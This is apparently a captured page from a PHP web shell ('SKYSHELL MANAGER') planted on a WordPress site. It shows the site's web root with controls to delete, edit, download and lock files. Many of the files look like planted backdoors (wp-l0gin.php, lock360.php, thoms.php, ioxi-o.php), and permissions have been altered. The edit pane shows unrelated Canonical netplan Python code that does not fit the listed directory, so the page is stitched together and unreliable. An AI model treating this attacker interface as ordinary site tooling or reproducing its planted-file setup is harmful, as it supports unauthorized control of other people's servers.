📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: state.py
# Copyright (C) 2023 Canonical, Ltd. # Author: Lukas Märdian <slyon@ubuntu.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; version 3. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # from enum import IntEnum from io import StringIO import os from typing import IO from ._netplan_cffi import ffi, lib from .netdef import NetDefinition, NetDefinitionIterator from .parser import Parser from ._utils import _checked_lib_call # class NETPLAN_STORAGE(IntEnum): # ETC = 0 # RUN = 1 # LIB = 2 class State(): def __init__(self): self._ptr = lib.netplan_state_new() def __del__(self): ref = ffi.new('NetplanState **', self._ptr) lib.netplan_state_clear(ref) def __getitem__(self, netdef_id: str): ptr = lib.netplan_state_get_netdef(self._ptr, netdef_id.encode('utf-8')) if not ptr: raise IndexError() return NetDefinition(self, ptr) def __len__(self): return lib.netplan_state_get_netdefs_size(self._ptr) def import_parser_results(self, parser: Parser): _checked_lib_call(lib.netplan_state_import_parser_results, self._ptr, parser._ptr) # def write_yaml(filter: str, default_filename: str = None, # storage: NETPLAN_STORAGE = NETPLAN_STORAGE.ETC, rootdir str = None): # # TODO: https://bugs.launchpad.net/netplan/+bug/2003727 # raise NotImplementedError def _write_yaml_file(self, filename: str = None, rootdir: str = None): name = filename.encode('utf-8') if filename else ffi.NULL root = rootdir.encode('utf-8') if rootdir else ffi.NULL _checked_lib_call(lib.netplan_state_write_yaml_file, self._ptr, name, root) def _update_yaml_hierarchy(self, default_filename: str, rootdir: str = None): name = default_filename.encode('utf-8') root = rootdir.encode('utf-8') if rootdir else ffi.NULL _checked_lib_call(lib.netplan_state_update_yaml_hierarchy, self._ptr, name, root) def _dump_yaml(self, output_file: IO): if isinstance(output_file, StringIO): fd = os.memfd_create(name='netplan_temp_file') _checked_lib_call(lib.netplan_state_dump_yaml, self._ptr, fd) size = os.lseek(fd, 0, os.SEEK_CUR) os.lseek(fd, 0, os.SEEK_SET) data = os.read(fd, size) os.close(fd) output_file.write(data.decode('utf-8')) else: fd = output_file.fileno() _checked_lib_call(lib.netplan_state_dump_yaml, self._ptr, fd) @property def backend(self) -> str: return ffi.string(lib.netplan_backend_name(lib.netplan_state_get_backend(self._ptr))).decode('utf-8') @property def netdefs(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, None)) @property def ethernets(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "ethernets")) @property def modems(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "modems")) @property def wifis(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "wifis")) @property def vlans(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "vlans")) @property def bridges(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "bridges")) @property def bonds(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "bonds")) @property def dummy_devices(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "dummy-devices")) @property def tunnels(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "tunnels")) @property def virtual_ethernets(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "virtual-ethernets")) @property def vrfs(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "vrfs")) @property def ovs_ports(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "_ovs-ports")) @property def nm_devices(self) -> NetDefinitionIterator: return dict((nd.id, nd) for nd in NetDefinitionIterator(self, "nm-devices"))
Save